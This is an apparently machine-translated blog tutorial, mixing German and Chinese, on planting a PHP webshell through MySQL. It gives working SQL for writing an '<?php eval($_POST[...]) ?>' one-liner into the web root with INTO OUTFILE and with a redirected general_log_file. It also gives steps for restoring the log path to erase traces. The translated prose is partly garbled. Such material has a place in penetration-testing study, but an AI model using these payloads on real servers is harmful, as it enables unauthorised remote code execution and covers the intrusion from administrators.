[Getshell] MySQL-Upload-Webshell


Erstens, wählen Sie in Outfile Write direkt

1. Nutzungsbedingungen
  • Sie benötigen eine Schreibberechtigung für das Webverzeichnis, um einfache Anführungszeichen (root) verwenden zu können.
  • Kennen Sie den absoluten Pfad der Website (phpinfo / php probe / durch Melden von Fehlern usw.)
  • secure_file_priv hat keinen bestimmten Wert
2. Zeigen Sie den Wert secure_file_priv an
show global variables like '%secure%';

Informationen zur Einführung in die Konfiguration von Secure_File_priv:

Secure_File_priv wird verwendet, um das Verzeichnis einzuschränken, in dem die Funktionen load dumpfile, outfile und load_file () zum Hochladen oder Lesen von Dateien berechtigt sind

当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权
当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权

Fügen Sie hier eine Bildbeschreibung ein
Der Wert von secure_file_priv ist eine schreibgeschützte Variable und kann nur über die Konfigurationsdatei geändert werden. Wenn der Administrator nicht konfiguriert, können wir nicht in die Shell schreiben, da wir selbst testen, sodass wir sie direkt konfigurieren können.

Es ist in der MySQL-Konfigurationsdatei my.ini konfiguriert:

Fügen Sie hier eine Bildbeschreibung ein

3. Schreiben Sie einen Satz
select '<?php @eval($POST[1]); ?>' INTO OUTFILE 'D:\\phpStudy\\PHPTutorial\\WWW\\a.php'

这里注意路径分隔符要用"\\"

Fügen Sie hier eine Bildbeschreibung ein
Überprüfen Sie, ob a.php im Stammverzeichnis der Website generiert wird und ob der Inhalt ein Satz ist:

Fügen Sie hier eine Bildbeschreibung ein

Zweitens: Verwenden Sie das globale Protokoll, um in die Shell zu schreiben

1. Zeigen Sie die Konfiguration an

Überprüfen Sie den Protokollstatus von MySQL. Es ist standardmäßig deaktiviert, da die Menge dieses Protokolls sehr groß ist, was einen relativ großen Aufwand für Ressourcen darstellt. Aktivieren Sie diese Funktion daher nicht in einer Produktionsumgebung!

show variables like '%general%';

Fügen Sie hier eine Bildbeschreibung ein

2. Aktivieren Sie den general_log-Modus

Die Funktion zum Aktivieren von general_log: Aktivieren Sie diese Option, um jeden vom Benutzer eingegebenen Befehl aufzuzeichnen und in D:\phpStudy\PHPTutorial\MySQL\data\WIN-83V1721VG9V.logeiner Datei zu speichern. Dies wird häufig über die
Verwendung von Protokolldateien gesagt : Ändern Sie nach dem Aktivieren von general_log den Wert von general_log_file zum Standardpfad der Website Schreiben Sie in einer bestimmten benutzerdefinierten PHP-Datei einen Wort-Trojaner durch das Protokollprotokoll und verwenden Sie ihn dann weiter.

Hinweis hier: Vor dem Ändern des Protokollpfads muss der Quellpfad im Voraus aufgezeichnet werden, und der ursprüngliche Pfad muss nach dem Abrufen der Shell wiederhergestellt werden.

set global general_log = on;

Fügen Sie hier eine Bildbeschreibung ein

3. Ändern Sie das Protokollverzeichnis in die Shell-Adresse
set global general_log_file='D:\\phpStudy\\PHPTutorial\\WWW\\hp.php';
4. Schreiben Sie in die Shell

Da die Protokollierungsfunktion aktiviert ist, werden die ausgeführten SQL-Anweisungen im Protokoll aufgezeichnet

select '<?php eval($_POST[cmd]);?>'

Fügen Sie hier eine Bildbeschreibung ein

5. Spuren löschen
set global general_log_file='D:\phpStudy\PHPTutorial\MySQL\data\WIN-83V1721VG9V.log';               // 恢复原log文件路径

set global general_log = off;   // 关闭全局日志

Ich denke du magst

Origin blog.csdn.net/weixin_44032232/article/details/109175795
Empfohlen
Rangfolge